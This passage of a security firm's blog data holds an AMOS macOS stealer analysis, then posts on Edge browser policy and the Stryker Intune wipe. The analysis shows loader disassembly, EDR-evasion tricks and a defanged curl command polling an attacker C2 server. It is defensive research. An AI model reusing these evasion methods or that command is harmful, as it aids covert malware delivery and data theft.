buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[1546,3352,3350],{"__ignoreMap":863},[806,3354,3355,3356,3359,3360,3363,3364,3367,3368,3371],{},"The chunk size formula ",[1546,3357,3358],{},"(remaining_length % 192) + 64"," produces values between 64 and 255 bytes per write call, varying with the remaining payload length. This variable-chunk approach means that the write pattern, visible in kernel event tracing tools like ",[1546,3361,3362],{},"ktrace"," or ",[1546,3365,3366],{},"dtrace",", does not produce a recognisable fixed-size signature. Each execution of the same payload produces a different sequence of ",[1546,3369,3370],{},"write()"," syscall sizes.",[806,3373,3374,3375,3377],{},"The 1-microsecond ",[1546,3376,2081],{}," between chunks serves a secondary purpose: it yields the CPU between writes, keeping the process's CPU utilisation flat and avoiding a sudden spike that a behavioural EDR rule might flag as anomalous burst I/O.",[1667,3379,3381],{"id":3380},"step-4-immediate-memory-wipe","Step 4: Immediate memory wipe",[806,3383,1673],{},[1536,3385,3386],{"style":1538},[1540,3387,3390],{"className":3388,"code":3389,"language":917},[1543],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[1546,3391,3389],{"__ignoreMap":863},[806,3393,1880,3394,3397],{},[1546,3395,3396],{},"_bzero()"," call zeroes the entire decrypted payload buffer immediately after the last byte has been written to the pipe. There is no point in time, not even a microsecond, where the decrypted payload exists in memory after execution is complete. A live memory dump taken the instant after this function returns will find only zeroes where the payload was.",[806,3399,3400,3401,3404],{},"This is called ",[1732,3402,3403],{},"zero-after-use"," and is the same technique used in high-assurance cryptographic libraries to prevent secret key material from persisting in memory. Seeing it in commodity malware is unusual and indicates a developer with a security engineering background.",[1667,3406,3408],{"id":3407},"the-complete-execution-sequence","The complete execution sequence:",[806,3410,1673],{},[1536,3412,3413],{"style":1538},[1540,3414,3417],{"className":3415,"code":3416,"language":917},[1543],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[1546,3418,3416],{"__ignoreMap":863},[810,3420,3422],{"id":3421},"the-import-table-as-a-weapon","The Import Table as a Weapon",[806,3424,1531],{},[806,3426,3427],{},"The complete import table of this binary is:",[1536,3429,3430],{"style":1538},[1540,3431,3434],{"className":3432,"code":3433,"language":917},[1543],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[1546,3435,3433],{"__ignoreMap":863},[806,3437,3438],{},"The total import count is 27 symbols. What is missing is as significant as what is present.",[1667,3440,3442],{"id":3441},"absent-networking","Absent — networking:",[806,3444,1673],{},[1536,3446,3447],{"style":1538},[1540,3448,3451],{"className":3449,"code":3450,"language":917},[1543],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[1546,3452,3450],{"__ignoreMap":863},[1667,3454,3456],{"id":3455},"absent-file-system","Absent — file system:",[806,3458,1673],{},[1536,3460,3461],{"style":1538},[1540,3462,3465],{"className":3463,"code":3464,"language":917},[1543],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[1546,3466,3464],{"__ignoreMap":863},[1667,3468,3470],{"id":3469},"absent-process-introspection","Absent — process introspection:",[806,3472,1673],{},[1536,3474,3475],{"style":1538},[1540,3476,3479],{"className":3477,"code":3478,"language":917},[1543],"getpid      getuid      getenv      sysctl\n",[1546,3480,3478],{"__ignoreMap":863},[1667,3482,3484],{"id":3483},"absent-cryptography","Absent: Cryptography",[806,3486,1531],{},[1536,3488,3489],{"style":1538},[1540,3490,3493],{"className":3491,"code":3492,"language":917},[1543],"CCCrypt     SecItemAdd  SecKeychainFind\n",[1546,3494,3492],{"__ignoreMap":863},[806,3496,3497,3498,2285,3501,3504,3505,2285,3508,3511,3512,3515],{},"In a traditional malware sample, you expect to see imports for networking (",[1546,3499,3500],{},"socket",[1546,3502,3503],{},"connect",") or file manipulation (",[1546,3506,3507],{},"fopen",[1546,3509,3510],{},"write","). This binary has ",[1732,3513,3514],{},"none",". To a standard scanner, this binary looks like a harmless process launcher. This is a deliberate architectural choice to bypass static analysis tools that flag suspicious API usage.",[806,3517,1880,3518,3520],{},[1546,3519,1883],{}," binary does not perform the theft itself. Its sole purpose is to drop and execute the real malicious payload: a heavily obfuscated AppleScript. A standalone EDR or AV looking for \"malicious binaries\" will see a loader with no network or file I/O capabilities and potentially grant it a \"clean\" verdict. It misses the fact that the binary is a specialized delivery system for a high-level script payload.",[1508,3522],{},[1511,3524,3526],{"id":3525},"the-backdoor","The Backdoor",[806,3528,816],{},[806,3530,3531,3532,3535],{},"The incident did not end after the initial compromise. Microsoft Defender telemetry showed a process running from ",[1546,3533,3534],{},"/Users/\u003Credacted>/.mainhelper",", polling an external server:",[1536,3537,3538],{"style":1538},[1540,3539,3541],{"className":1743,"code":3540,"language":1745,"meta":863,"style":863},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[1546,3542,3543],{"__ignoreMap":863},[1584,3544,3545,3548,3550],{"class":1586,"line":1587},[1584,3546,3547],{"class":1752},"sh",[1584,3549,1757],{"class":1756},[1584,3551,3552],{"class":1770}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[806,3554,3555],{},"The Base64 string decodes to a 16-byte device UUID, the unique identifier assigned to this machine by the attacker's C2 infrastructure on the day of the initial infection.",[806,3557,1880,3558,3561,3562,3565,3566,3568],{},[1546,3559,3560],{},".mainhelper"," binary (SHA-256: ",[1546,3563,3564],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") had been installed by the osascript dropper via ",[1546,3567,1753],{}," on the day of the incident.",[1508,3570],{},[1511,3572,3574],{"id":3573},"the-power-of-the-collective-shield-our-exclusive-shared-threat-intelligence-platform","The Power of the Collective Shield: Our Exclusive Shared Threat Intelligence Platform",[806,3576,816],{},[806,3578,3579],{},"When an alert fires in our SOC, the clock doesn't just start for the affected customer, it starts for every organization under the glueckkanja shield. This investigation into a previously undocumented AMOS variant highlights the critical nature of the intelligence gap: that dangerous window where traditional vendors are blind because they haven't seen the threat yet.",[806,3581,3582],{},"This is where our proprietary Shared Threat Intelligence Platform, developed exclusively for our glueckkanja CSOC customers, proves its decisive worth. We don't wait for industry updates; we create them. While our analysts were still dismantling the final layers of the ARM64 assembly, our Automated Orchestration Engine was already distributing the extracted indicators across our entire ecosystem. This creates an immediate herd immunity effect, where a discovery at a single endpoint becomes a blocked threat for every organization we protect within minutes.",[806,3584,3585],{},"Reactive security is a relic of the past when facing threats designed to slip through the cracks of conventional defenses. The answer lies in combining human expertise with an architecture that can deploy that knowledge instantly and at scale. When these insights are channeled through our shared intelligence model, the attacker's time advantage can be transformed into a liability, protecting our customers even before a threat is recognized by the wider industry.",[1508,3587],{},[3589,3590,3591,3596,3599,3602],"blockquote",{},[806,3592,3593],{},[1732,3594,3595],{},"Note on Data Privacy",[806,3597,3598],{},"Identifying information has been anonymised in this publication. Specific technical details, indicators, and timestamps may have been slightly altered to ensure the continued protection of the affected environment while maintaining the full technical integrity of the analysis.",[806,3600,3601],{},"The technical analysis and indicators of compromise (IOCs) provided in this report are for illustrative and educational purposes only. This information is provided on a \"best effort\" basis. glueckkanja AG makes no warranties, express or implied, regarding the completeness or accuracy of the data and shall not be held liable for any damages, losses, or security incidents resulting from the use or implementation of the information, rules, or signatures shared herein. Users are strongly advised to validate all indicators and rules in a controlled environment before deployment.",[806,3603,3604],{},"Indicators and techniques described may overlap with known malware families and are not exclusive to a single campaign.",[3606,3607,3608],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":863,"searchDepth":864,"depth":864,"links":3610},[3611,3612,3613,3614,3621,3622,3623,3624,3632,3639],{"id":1527,"depth":864,"text":1528},{"id":1567,"depth":864,"text":1568},{"id":1627,"depth":864,"text":1628},{"id":1659,"depth":864,"text":1660,"children":3615},[3616,3617,3618,3619,3620],{"id":1669,"depth":1810,"text":1670},{"id":1684,"depth":1810,"text":1685},{"id":1698,"depth":1810,"text":1699},{"id":1707,"depth":1810,"text":1708},{"id":1724,"depth":1810,"text":1725},{"id":1890,"depth":864,"text":1891},{"id":1980,"depth":864,"text":1981},{"id":2096,"depth":864,"text":2097},{"id":2167,"depth":864,"text":2168,"children":3625},[3626,3627,3628,3629,3630,3631],{"id":2182,"depth":1810,"text":2183},{"id":2470,"depth":1810,"text":2471},{"id":2725,"depth":1810,"text":2726},{"id":2919,"depth":1810,"text":2920},{"id":3006,"depth":1810,"text":3007},{"id":3159,"depth":1810,"text":3160},{"id":3213,"depth":864,"text":3214,"children":3633},[3634,3635,3636,3637,3638],{"id":3229,"depth":1810,"text":3230},{"id":3296,"depth":1810,"text":3297},{"id":3338,"depth":1810,"text":3339},{"id":3380,"depth":1810,"text":3381},{"id":3407,"depth":1810,"text":3408},{"id":3421,"depth":864,"text":3422,"children":3640},[3641,3642,3643,3644],{"id":3441,"depth":1810,"text":3442},{"id":3455,"depth":1810,"text":3456},{"id":3469,"depth":1810,"text":3470},{"id":3483,"depth":1810,"text":3484},{"lang":872,"seoTitle":3646,"titleClass":874,"date":3647,"categories":3648,"blogtitlepic":3649,"socialimg":3650,"customExcerpt":3651,"keywords":3652,"maxContent":508,"asideNav":3653,"footer":3669,"contactInContent":3670,"published":508,"hreflang":3696},"AMOS Stealer Variant: Reverse Engineering an Unknown macOS Malware — Incident to Intelligence","2026-04-10",[371],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","A previously undocumented AMOS stealer variant compromised a macOS endpoint. No known hashes, no C2 data in any public database. Our SOC dismantled six layers of obfuscation, extracted every indicator, and pushed protection to all SOC customers within hours, before the wider industry had even seen the sample.","AMOS stealer, macOS malware, reverse engineering, malware analysis, Ghidra, ARM64, incident response, threat intelligence, CSOC, macOS security, stealer malware, shared threat intelligence, atomic macOS stealer",{"menuItems":3654},[3655,3658,3661,3664,3666],{"href":3656,"text":3657},"#the-incident-a-unknown-ioc-scenario","The Incident",{"href":3659,"text":3660},"#stage-1-sandbox-checks","Stage 1: Sandbox Checks",{"href":3662,"text":3663},"#stage-2-reverse-engineering-the-helper-binary","Stage 2: Binary Analysis",{"href":3665,"text":3526},"#the-backdoor",{"href":3667,"text":3668},"#the-power-of-the-collective-shield-our-exclusive-shared-threat-intelligence-platform","Shared Threat Intelligence",{"noMargin":508},{"quote":508,"infos":3671},{"bgColor":884,"headline":886,"subline":3672,"level":810,"textStyling":888,"flush":889,"person":3673,"form":3678},"Want to know how our Shared Threat Intelligence Platform protects you from unknown malware variants before the industry even knows they exist? Let's talk.",{"image":3674,"cloudinary":508,"alt":3675,"name":1127,"quotee":1127,"quoteeTitle":3676,"quote":3677},"/people/people-jan-geisbauer-csoc.jpg","Portrait of Jan Geisbauer, Head of Security at glueckkanja","Head of Security","The dangerous thing about this variant wasn't the technical complexity, impressive as it is. The dangerous thing was the time window. Without Shared Threat Intelligence, our other customers would have been exposed for hours while we were still analyzing.",{"ctaText":906,"cta":3679,"method":870,"action":909,"fields":3680},{"skin":908},[3681,3682,3683,3684,3685,3687,3689,3690,3691,3693,3694,3695],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3686,"type":929,"id":930,"required":749,"requiredMsg":931},"Your message",{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},"Your data will be stored with us for the purpose of processing and responding to your inquiry. For more information on data protection, please refer to our \u003Ca href=\"/en/privacy\">Privacy Policy\u003C/a>.",{"type":912,"id":938,"value":371},{"type":912,"id":940,"value":941},{"type":912,"id":943,"value":3692},"Form: Blog AMOS Stealer CSOC | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"type":912,"id":951},[3697,3699,3701],{"lang":872,"href":3698},"/en/posts/2026-04-10-incident-to-intelligence",{"lang":4,"href":3700},"/de/posts/2026-04-10-incident-to-intelligence",{"lang":956,"href":3702},"/es/posts/2026-04-10-incident-to-intelligence","/posts/2026-04-10-incident-to-intelligence",{"title":1494,"description":1500},"posts/2026-04-10-incident-to-intelligence",[3707,3708,3709,3710,3711],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","xU2OqTCD0VYp9tkwjqx-vgUtRHKfEnVl-RzD93uv5Z0",{"id":3714,"title":3715,"author":3716,"body":3717,"cta":764,"description":3721,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":3916,"moment":3918,"navigation":508,"path":3947,"seo":3948,"stem":3949,"tags":764,"webcast":749,"__hash__":3950},"content_en/posts/2026-03-21-microsoft-edge-corporate-browser.md","Why Edge Should Be Your Only Corporate Browser",[1023],{"type":803,"value":3718,"toc":3908},[3719,3722,3724,3726,3732,3736,3738,3741,3745,3747,3750,3765,3769,3771,3777,3783,3786,3829,3837,3841,3843,3851,3870,3874,3876,3879,3905],[806,3720,3721],{},"In today's enterprise environments, choosing the right browser is more than a matter of preference. It's a strategic decision that impacts security, manageability, and user productivity. While Google Chrome has long been a popular choice, Microsoft Edge has evolved into an enterprise-ready browser that offers compelling advantages, especially when using Microsoft 365 and managed through Microsoft Intune.",[810,3723,371],{"id":368},[806,3725,816],{},[806,3727,3728,3729,3731],{},"Using a managed Microsoft Edge browser ensures that security features are consistently enforced across all endpoints. With native integration into Microsoft Defender SmartScreen, Edge provides protection against phishing, malware, and other threats. When deployed via Intune, policies can tightly control behavior, block risky extensions, and enforce safe browsing practices. glueckkanja's ",[833,3730,45],{"href":48}," offers up-to-date Edge policies aligned with Microsoft's Security baselines.",[810,3733,3735],{"id":3734},"synchronization-with-entra-id-account","Synchronization with Entra ID Account",[806,3737,816],{},[806,3739,3740],{},"Edge supports secure synchronization of user data, such as favourites, passwords, and settings, across devices via Entra ID accounts. This is especially beneficial in hybrid work scenarios, allowing users to switch between corporate laptops, virtual desktops, and mobile devices without losing context or productivity.",[810,3742,3744],{"id":3743},"avoiding-complexity-offering-multiple-browsers-adds-overhead","Avoiding Complexity: Offering Multiple Browsers Adds Overhead",[806,3746,816],{},[806,3748,3749],{},"Supporting alternative browsers like Google Chrome in a corporate environment often requires additional infrastructure and effort:",[2733,3751,3753,3759],{"style":3752},"margin: 0.25rem 0",[2736,3754,3755,3758],{},[1732,3756,3757],{},"Backup and Sync Strategies:"," Other browsers often require third-party accounts (e.g. a Google Account) to enable synchronization.",[2736,3760,3761,3764],{},[1732,3762,3763],{},"Policy Maintenance:"," Each browser requires its own set of security and configuration policies. Maintaining these across multiple platforms demands ongoing effort, increases the risk of misconfiguration, and complicates audits.",[810,3766,3768],{"id":3767},"policy-driven-chrome-redirection-via-intune","Policy-Driven Chrome Redirection via Intune",[806,3770,816],{},[806,3772,3773,3774,3776],{},"To guide users from Chrome to Edge, organizations can implement a redirection policy using Microsoft Intune — ready-to-use and implemented within minutes via glueckkanja's ",[833,3775,45],{"href":48},". Users are greeted with a landing page that highlights Microsoft Edge as the default corporate browser, along with a one-click option to launch it directly.",[806,3778,3779],{},[1449,3780],{"alt":3781,"src":3782},"Microsoft Edge as the default corporate browser","https://res.cloudinary.com/c4a8/image/upload/blog/pics/microsoft-edge-default-browser.png",[806,3784,3785],{},"The configuration policy demonstrates how Chrome can be restricted and redirected:",[2733,3787,3788,3802,3811,3817,3823],{"style":3752},[2736,3789,3790,3793,3794,3797,3798,3801],{},[1732,3791,3792],{},"URL Allowlist:"," Only specific URLs like the landing page ",[1546,3795,3796],{},"https://edge.glueckkanja.com/"," and the moniker ",[1546,3799,3800],{},"microsoft-edge:*"," are permitted.",[2736,3803,3804,3807,3808,3810],{},[1732,3805,3806],{},"URL Blocklist:"," All other URLs are blocked (",[1546,3809,2770],{},"), effectively disabling general browsing in Chrome.",[2736,3812,3813,3816],{},[1732,3814,3815],{},"Homepage and New Tab Page:"," Both are set to the landing page that encourages users to open Microsoft Edge.",[2736,3818,3819,3822],{},[1732,3820,3821],{},"Protocol Handling:"," Chrome is configured to auto-launch Edge when clicking URLs on the landing page.",[2736,3824,3825,3828],{},[1732,3826,3827],{},"Extension Control:"," Additional settings restrict extension installation.",[806,3830,3831,3832],{},"Example policy as download: ",[833,3833,3836],{"href":3834,"rel":3835},"https://github.com/glueckkanja/edge-redirection-landingpage/tree/main/docs/policies",[1410],"Win - Default - Google Chrome - Redirect to Edge - v2.0.json",[810,3838,3840],{"id":3839},"landing-page-via-github-pages","Landing Page via GitHub Pages",[806,3842,816],{},[806,3844,3845,3846],{},"The website is powered by GitHub Pages. Feel free to adjust it to your needs and contribute to the GitHub project: ",[833,3847,3850],{"href":3848,"rel":3849},"https://github.com/glueckkanja/edge-redirection-landingpage",[1410],"edge-redirection-landingpage",[806,3852,3853],{},[833,3854,3866],{"role":3855,"className":3856,"dataText":3861,"href":3862,"target":513,"rel":3863,"type":3865},"button",[3857,3858,3859,3860],"cta","btn","btn-primary","vue-component","See the landing page in action","https://edge.glueckkanja.com",[3864],"noopener","Button",[1584,3867,3861],{"className":3868},[3869],"cta__text",[810,3871,3873],{"id":3872},"key-takeaways","Key Takeaways",[806,3875,816],{},[806,3877,3878],{},"Microsoft Edge offers a secure, manageable browsing experience with deep integration into Microsoft 365, making it the logical choice as the default corporate browser. The key advantages:",[2733,3880,3881,3884,3887,3890,3893,3896,3899,3902],{"style":3752},[2736,3882,3883],{},"Seamless Entra ID integration (SSO)",[2736,3885,3886],{},"Cloud-based sync and backup via Microsoft 365 account across multiple platforms",[2736,3888,3889],{},"Built-in security ecosystem (Microsoft Defender SmartScreen and Microsoft Endpoint DLP)",[2736,3891,3892],{},"Intune App Protection Policy support",[2736,3894,3895],{},"Browser management via Microsoft 365 admin center and Intune",[2736,3897,3898],{},"Internet Explorer mode for legacy compatibility",[2736,3900,3901],{},"Corporate branding",[2736,3903,3904],{},"Copilot integration",[806,3906,3907],{},"Standardizing on Edge reduces complexity, strengthens security, and simplifies support. Extending the redirection approach to other common browsers is a feasible next step as well.",{"title":863,"searchDepth":864,"depth":864,"links":3909},[3910,3911,3912,3913,3914,3915],{"id":368,"depth":864,"text":371},{"id":3734,"depth":864,"text":3735},{"id":3743,"depth":864,"text":3744},{"id":3767,"depth":864,"text":3768},{"id":3839,"depth":864,"text":3840},{"id":3872,"depth":864,"text":3873},{"lang":872,"seoTitle":3917,"titleClass":874,"date":3918,"blogtitlepic":3919,"socialimg":3920,"customExcerpt":3921,"keywords":3922,"hreflang":3923,"published":508,"asideNav":3930},"Microsoft Edge as the Secured Corporate Browser: Security, Sync, and Chrome Redirection via Intune","2026-03-21","head-microsoft-edge-default-browser.jpg","/blog/heads/head-microsoft-edge-default-browser.jpg","The browser nobody satisfies chose became the one everybody manages. Most companies never made a deliberate decision for Chrome; it just showed up, brought its own sync logic, its own account layer, its own policy surface. Meanwhile, Microsoft Edge matured into a browser that plugs directly into the infrastructure enterprises already run: Entra ID, Intune, Defender. This post shows how to make that switch official, redirect Chrome to a landing page via Intune policy, and retire the complexity that comes with maintaining two browsers in parallel.","Microsoft Edge, corporate browser, Microsoft Intune, Entra ID, Chrome redirection, Managed Intune, browser policy, Microsoft Defender SmartScreen, enterprise browser, browser management, URL blocklist, URL allowlist",[3924,3926,3928],{"lang":4,"href":3925},"/de/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":872,"href":3927},"/en/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":956,"href":3929},"/es/posts/2026-03-21-microsoft-edge-corporate-browser",{"menuItems":3931},[3932,3934,3937,3940,3943,3945],{"href":3933,"text":371},"#security",{"href":3935,"text":3936},"#synchronization-with-entra-id-account","Synchronization with Entra ID",{"href":3938,"text":3939},"#avoiding-complexity-offering-multiple-browsers-adds-overhead","Avoiding Complexity",{"href":3941,"text":3942},"#policy-driven-chrome-redirection-via-intune","Chrome Redirection via Intune",{"href":3944,"text":3840},"#landing-page-via-github-pages",{"href":3946,"text":3873},"#key-takeaways","/posts/2026-03-21-microsoft-edge-corporate-browser",{"title":3715,"description":3721},"posts/2026-03-21-microsoft-edge-corporate-browser","AsMZExVFaHmpVg3-wvTocO819mSe8A4QZIdrFls8YIw",{"id":3952,"title":3953,"author":3954,"body":3955,"cta":764,"description":3959,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":4202,"moment":4204,"navigation":508,"path":4254,"seo":4255,"stem":4256,"tags":4257,"webcast":749,"__hash__":4260},"content_en/posts/2026-03-20-stryker-attack-intune-privilege.md","No Malware Needed. Just One Admin Account.",[1127],{"type":803,"value":3956,"toc":4190},[3957,3960,3963,3967,3969,3972,3975,3978,3982,3984,3987,3990,3993,3996,4000,4002,4005,4008,4012,4014,4017,4020,4023,4027,4029,4032,4038,4042,4044,4050,4053,4056,4059,4066,4069,4075,4084,4088,4090,4096,4099,4108,4111,4114,4117,4120,4123,4126,4130,4132,4135,4138,4141,4149,4152,4155,4159,4161],[806,3958,3959],{},"Wednesday, March 11, 2026. Employees at Stryker offices across 79 countries switched on their computers and found them blank. Login screens replaced by a logo. Corporate laptops, company phones, personal devices enrolled in the company's BYOD program. All wiped simultaneously, overnight. No ransomware. No malware signatures. Nothing for an endpoint detection tool to catch.",[806,3961,3962],{},"The attacker, a pro-Iranian hacktivist group named Handala, had turned Stryker's own IT management infrastructure into the weapon.",[810,3964,3966],{"id":3965},"what-actually-happened","What actually happened",[806,3968,816],{},[806,3970,3971],{},"The core of the attack was not a sophisticated exploit or a zero-day vulnerability. It was something far simpler and, frankly, far more common: an administrator account was compromised, and that account had access to Microsoft Intune.",[806,3973,3974],{},"According to reporting by BleepingComputer, roughly 80,000 devices were wiped between 5:00 and 8:00 a.m. UTC. Handala claimed the number exceeded 200,000, including servers and mobile devices across the company's global operations in 79 countries.",[806,3976,3977],{},"No custom malware. No malicious binary to detect. A living-off-the-land attack, executed entirely through a legitimate management console.",[810,3979,3981],{"id":3980},"why-this-attack-succeeded","Why this attack succeeded",[806,3983,816],{},[806,3985,3986],{},"There is a structural issue at the root of this, and it is not unique to Stryker. It is endemic across enterprises.",[806,3988,3989],{},"Most organizations treat administrative tasks and day-to-day work as activities that can comfortably coexist on the same device, under the same user identity. An IT administrator answers emails, browses the web, clicks the occasional link, and — from that same session, on that same machine — manages cloud infrastructure, approves access changes, or in this case, touches a device management console with the power to wipe the entire fleet.",[806,3991,3992],{},"This is the attack surface. When the everyday work context and the privileged administration context share a common endpoint and identity, any compromise of that endpoint is automatically a compromise of everything that identity can reach. Phishing, credential theft via infostealer malware, adversary-in-the-middle (AiTM) session token theft — all of them become a direct path to the most powerful controls in your environment. No privilege escalation needed. The attacker simply uses what's already there.",[806,3994,3995],{},"In Stryker's case, that access happened to include an Intune tenant managing devices across six continents.",[810,3997,3999],{"id":3998},"cisa-has-seen-enough","CISA has seen enough",[806,4001,816],{},[806,4003,4004],{},"The scale and brazenness of the attack prompted an unusual response: CISA, the U.S. Cybersecurity and Infrastructure Security Agency, issued guidance directly addressing the risk of compromised device management platforms. The agency confirmed it was aware of the attack vector and urged organizations to take concrete action, ensuring that high-impact Intune functions like device wipes require a second administrator's approval before executing.",[806,4006,4007],{},"This is a rare and significant signal. When a federal security agency issues targeted guidance in the immediate aftermath of a specific incident, the message is clear: this is not an edge case. This is a pattern, and other organizations are likely running the same exposure.",[810,4009,4011],{"id":4010},"separation-is-not-a-luxury-it-is-the-control","Separation is not a luxury. It is the control.",[806,4013,816],{},[806,4015,4016],{},"The Stryker attack is a useful case study precisely because it illustrates the blast radius of a flat privilege model. The attacker did not need to escalate privileges through a chain of vulnerabilities. They gained access to credentials, or a session token, at one level and found that level was already sufficient to cause catastrophic, global, irreversible damage.",[806,4018,4019],{},"The architectural answer to this problem has a name: the Microsoft Enterprise Access Model (EAM). Its core principle is tiered administration: privileged operations are performed using dedicated accounts and dedicated devices, strictly separated from the everyday work context. This least-privilege approach means that a compromised productivity account cannot reach the management plane, and a compromised management account cannot reach control-plane operations. This applies equally to cloud-only environments and hybrid setups including on-premises reach-back to Active Directory via Entra ID, where a single over-privileged account can still bridge the cloud and the domain.",[806,4021,4022],{},"The idea is straightforward. Administrative work happens on administrative devices. The identity used to manage your Microsoft 365 tenant, your Intune environment, your Azure infrastructure, is never the same identity used to read email or attend Teams calls. The device used for those administrative sessions is hardened, restricted, and isolated from the regular internet browsing and productivity context that creates exposure. Lateral movement becomes structurally harder because there is no lateral path.",[810,4024,4026],{"id":4025},"two-layers-of-defense","Two layers of defense",[806,4028,816],{},[806,4030,4031],{},"Addressing this threat model properly requires working at two levels simultaneously: securing who can touch your management plane and its credentials, and hardening how that management plane itself is configured and operated. These are not the same problem, and both matter.",[806,4033,4034],{},[1449,4035],{"alt":4036,"src":4037},"Risk and product mapping for the Stryker attack scenario: Managed Red Tenant addresses identity and access risks, Managed Intune addresses endpoint management risks","https://res.cloudinary.com/c4a8/image/upload/v1774005366/blog/pics/stryker_risk_product_mapping.svg",[1667,4039,4041],{"id":4040},"managed-red-tenant-protecting-the-administrative-context","Managed Red Tenant: protecting the administrative context",[806,4043,1531],{},[806,4045,4046,4047,4049],{},"The first layer is isolating privileged access entirely. This is what our ",[833,4048,394],{"href":397}," is built for.",[806,4051,4052],{},"The Managed Red Tenant provides a fully isolated, cloud-based administrative environment, a dedicated Microsoft Entra tenant (\"the Red Tenant\") used exclusively for privileged operations. Administrative identities live here. Administrative devices are managed here. Nothing from the regular work environment bleeds across.",[806,4054,4055],{},"For the most critical roles, those with Control Plane access, like Global Administrators, we implement the \"Clean Keyboard\" approach: a physical Privileged Admin Workstation (PAW) with dedicated hardware, hardened policies, and no exposure to the everyday work context whatsoever. For broader administrative roles, we offer scalable Virtual Access Workstations (VAW) built on a hardened Azure Virtual Desktop infrastructure within the Red Tenant. The access path itself is protected through Microsoft Entra Private Access, applying Zero Trust Network Access and Conditional Access policies before any session can be established.",[806,4057,4058],{},"Microsoft Entra Internet Access blocks public internet access from administrative sessions and restricts connectivity strictly to privileged interfaces and authorized tenant environments. Near real-time session revocation is possible through Universal Conditional Access Evaluation, meaning a revoked credential doesn't linger as a valid session.",[806,4060,4061,4062,4065],{},"The Managed Red Tenant is monitored 24/7 by our ",[833,4063,4064],{"href":425},"Cloud Security Operations Center (CSOC)",", with custom-developed detections built specifically around administrative permissions and access patterns. An attacker who somehow compromised a credential in this environment would not get three undetected hours to execute wipe commands across a global fleet.",[806,4067,4068],{},"This matters particularly for roles like Intune administrators. They know how to secure clients, but securing a privileged admin workstation requires a different set of skills — enterprise access architecture, identity hardening, Zero Trust controls — that typically sits with the security team. A Managed Red Tenant removes that burden entirely: Intune admins get a professionally managed, consistently hardened workstation without needing to become security workstation experts themselves. The same applies to any highly privileged role across the 